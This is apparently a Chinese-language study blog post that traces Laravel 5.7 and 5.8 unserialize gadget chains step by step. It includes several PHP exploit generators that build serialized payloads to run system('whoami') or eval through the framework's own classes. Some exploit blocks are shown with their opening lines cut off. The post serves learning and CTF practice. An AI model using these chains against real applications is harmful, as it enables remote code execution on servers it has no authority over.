考虑了下还是打算把laravel的链子跟一遍。看了下基本上就5.7,5.8两个版本的rce反序列化popchain。所以工作量应该不大。正好最近完成tp系列的popchain学习审计代码的感觉还在,那就趁热打铁吧 。
关于代码获取:
composer create-project --prefer-dist laravel/laravel laravel58
后面加上"5.7.*"
下载5.7版本的。
如果下载出错最好换下composer源。
之后可以直接php artisan serve --host=0.0.0.0
.这样php-cli就会默认从8000端口监听起一个web服务。直接按照public对外显示。
然后默认关于laravel的一个命令行工具artisan
。我个人认为审计代码的话如果是白盒审计看下路由,会用php artisan route:list
就差不多了。
当然后面如果是开发的话肯定要全面学习下具体用法。
laravel5.7-unserialize
首先我们需要添加路由与控制器代码给一个反序列化入手点。
routes/web.php
添加一个demo路由对应DemoController。所以直接在app/Http/Controllers下增添一个类DemoController。这样命名空间之类的也会自动生成好。
这样就可以通过demo路由进行参数传递。
exp尝试执行whoami
接下来就是跟链子了。首先是入手点找__destruct()
自不必说。
此处入手的destruct其实非常多。我们找到src\Illuminate\Foundation\Testing\PendingCommand.php
。即 Illuminate/Foundation/Testing/PendingCommand类
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
终点其实就在run方法中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这句代码。关于它的真正含义我们先不去深究。从语义上看似乎是调用了内核进行call的命令执行。而它是在trycatch语句中执行的。所以需要在到这一不前都不会出现报错。
重点跟进mockConsoleOutput.
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
这里就有一个小细节。看到七月火师傅跟这里时选择打断点然后直接step over单步跳过。发现能正常执行到foreach。所以就没去看$mock
那行的代码。这应该是为了减少不必要的审计代码量。(听说一路看下去的话又臭又长......)
现在可以看向$this->test->expectedQuestions
这句。其中expectedQuestions是个数组。从执行exp来看,我们属性中并没有$this->test
对象.所以会触发__get()
既然如此其实就是找__get
方法返回值可控的类了。这里找到
src\Faker\DefaultGenerator.php
public function __get($attribute)
{
return $this->default;
}
所以大致的一个脉络已经出来了。但是我们对某些变量还是不清楚。同时也不知道是否会有报错退出。因此可以用一个半成品poc来探测。
test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
public function __construct() { }
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}
这里PendingCommand类的四个参数是原构造函数中就有的。而为什么会在这里出现Illuminate\Foundation\Application
要在后面解释。
我们还是直接打断点看它的执行。单步跳过的话会发现到$this->app->bind
为止都是可以正常进行的。直到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这个我们命令执行的最后一步才抛出错误。一路跟过去可以看到报错具体内容
那么我们肯定得深入下这行代码。这里我们需要添加代码看$this->app[Kernel::class]
.因为直接调用的话我们是没法看出Kernel::class的。所以比较好的方法还是单独拿出来看。
可以看到。$this->app
即我们之前exp中实例化的Illuminate\Foundation\Application
类的对象.而Kernel::class
会固定返回字符串Illuminate\Contracts\Console\Kernel
接下来我们发现只要单步跳过$app = $this->app[Kernel::class];
就会出错抛出跟之前调用反序列化时一样的错误。所以问题肯定出在这句代码上。那么一路跟进
会发现是调用了这么几个函数
//Pipeline
protected function handleException($passable, Exception $e)
{
$handler = $this->container->make(ExceptionHandler::class)
......
//Application
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
//Container
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
......
这里一路跟过来会发现在Application类调用父类也就是Container类的make方法,进一步到达resolve方法时。有一处可控点return $this->instances[$abstract];
还记得我们是跟进$this->app[Kernel::class]
来到这个返回值的吗?实际上我们最开始寻找命令执行时。是以$this->app[Kernel::class]=>call(xxx)
尝试调用命令的。那么既然这里app对象可控了,我们就可以调用任意对象的call方法了。
这也就是为什么我们前面选择Application类的原因。它继承了Container类。所以调用的是Container的call方法。我们跟进看下
//Container
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
//BoundMethod
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
这里发现实际调用的是BoundMethod的闭包函数。关于闭包函数在js中曾经听说过。闭包主要是使用:一个内部函数可以引用外部函数的参数和变量,参数和变量就不会被收回的机制。
这里getMethodDependencies
返回两个数组的合并数据。然而其中$dependencies
数组是个空的。那么返回的还是我们可控的数组。既然如此。调用call_user_func_array()
的这句代码两个参数就都是可控的。可以命令执行了。
rce exp
test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
echo urlencode(serialize($pendingcommand));
}
这里只需要增加Application类的内容。让它在程序找向$this->instances['Illuminate\Contracts\Console\Kernel']
找向它自己。这样我们就能调用它的call方法执行call_user_func_array('system','whoami')
了.
小结一下。5.7的pop链从exp看起来也就三个类的事。但是其中调试的功夫要求比起thinkphp要高出不少。其中非常重要的一点就是通过动态调试找到Kernel::class
的真正字符串值。并一路找到可控点来进行命令执行。
laravel5.8-unserialize
5.8其实之前做国赛题目时跟过一次了。不过印象不太深刻了。所以再来看一次。其中有一条链是靠symfony组件做的。就不跟了。(实验了下最新版本symfony组件没法用了)
我主要看七月火师傅介绍的一条链。来自p神小密圈。然后还有一条链是来自护网杯的非预期。跟第五空间一个性质。如果是按composer直接下载的话。两条链都可以用。
还是老方法我们直接增加反序列化路由跟控制器代码。
入手点是一个貌似在laravel很多链子中都通用的destruct
public function __destruct()
{
$this->events->dispatch($this->event);
}
很明显这里就有两种思路
1.全局找存在dispatch的有用方法。
2.全局找__call
方法
popchain1
对于我个人而言这里可以说是第一反应就想去找__call
.因为很明显的双参数均可控.php中__call
这种魔术方法本来就是设计出来用来动态调用的。所以肯定有类中使用call_user_func
这样的方式进行命令执行。我们不难找到符合条件的Generator类
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
......
全部可控。所以最终call_user_func
直接命令执行。这个真的是太简单了。难怪第5空间会换了__destruct
.
(之前因为第5空间打的太烂了没进线下就没仔细研究。结果仔细一看发现原来当时那个是5.7的版本啊......)
说起来护网杯那题destruct代码调用的是$this->events->fire($this->event);
。貌似跟官方源码不一样?但这条链偏偏是个非预期。有点迷。
popchain1 exp
event = $event;
$this->events = $events;
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($format){
$this->formatters = $format;
}
}
}
namespace{
$fs = array("dispatch"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"whoami");
echo(urlencode(serialize($pb)));
}
popchain2
来自上面这条链子的变招。刚刚说了Symphony最新版本已经没法
用了。其主要原因是,禁止对TagAwareAdapter类反序列化。所以加了一个__wakeup。根本到不了destruct那
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
}
public function __destruct()
{
$this->commit();
}
但是有Symfony的情况下还是可以用其他类。比如我们搜索__destruct
找到很明显的双参数可控调用
class ImportConfigurator
{
use Traits\HostTrait;
use Traits\PrefixTrait;
use Traits\RouteTrait;
private $parent;
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
destruct是一样的可控参数调用函数。所以殊途同归。
与上面一样的的性质。exp把dispatch改为addCollection就行了。
exp2
parent = $parent;
$this->route = $route;
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($format){
$this->formatters = $format;
}
}
}
namespace{
$fs = array("addCollection"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"whoami");
echo(urlencode(serialize($pb)));
}
这里不需要在意ImportConfigurator
原本构造函数中继承和定死的类型。因为是直接进行链式调用。
popchain3
回到开始。我们说除了用__call打组合拳。还可以找有用的全局找存在dispatch方法。
比如src\Illuminate\Bus\Dispatcher.php
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
......
首先if判断里调用commandShouldBeQueued
。然后调用dispatchToQueue
.
可以看到。$command
只要是实现ShouldQueue接口的类即可进入下面,存在call_user_func的命令调用。
现在可以调用任意类的任意方法。那就只需要找一个可用类即可。比如EvalLoader
。其load方法含有eval语句.
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
看到只要保证$this->config
的类存在getName方法。就可以跳过return执行eval.这里选择PhpParser\Node\Scalar\MagicConst\Line类
exp3
config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
summary
沒想到一个下午能把laravel主要的两个版本反序列化跟完。还是收获挺大的。不过实战中想遇到laravel反序列化比较困难。使用phar来进行触发应该是比较理想的可能方式。到此php反序列化就告一段落了吧。剩下的假期就复习之余抽空看java了。